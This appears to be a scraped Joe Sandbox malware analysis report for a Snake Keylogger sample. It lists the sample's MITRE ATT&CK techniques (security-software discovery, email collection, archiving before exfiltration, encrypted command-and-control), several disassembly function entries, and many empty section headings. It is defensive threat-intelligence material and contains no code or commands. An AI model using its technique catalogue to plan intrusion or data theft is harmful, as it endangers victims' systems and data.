Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PT98765445670009.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PT98765445670009.scr.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
PT98765445670009.scr.exe

Function 02D4AC18 Relevance: 1.9, Strings: 1, Instructions: 615
COMMON

Function 02D49F6C Relevance: 1.7, APIs: 1, Instructions: 223
processCOMMON

Function 02D4A7F0 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Function 02D49F90 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Function 02D4A948 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Function 02D4A6C8 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Function 02D49F78 Relevance: 1.6, APIs: 1, Instructions: 91
threadCOMMON

Function 02D4AA68 Relevance: 1.6, APIs: 1, Instructions: 73
threadCOMMON

Function 0120D5B8 Relevance: .1, Instructions: 75
COMMON

Function 052C7988 Relevance: 2.0, APIs: 1, Instructions: 534
COMMON

Function 02C3B388 Relevance: 1.6, Strings: 1, Instructions: 381
COMMON

Function 069D11A0 Relevance: .7, Instructions: 745
COMMON

Function 02C3EDF0 Relevance: .7, Instructions: 720
COMMON

Function 02C36790 Relevance: .4, Instructions: 444
COMMON

Function 069D8608 Relevance: .3, Instructions: 296
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre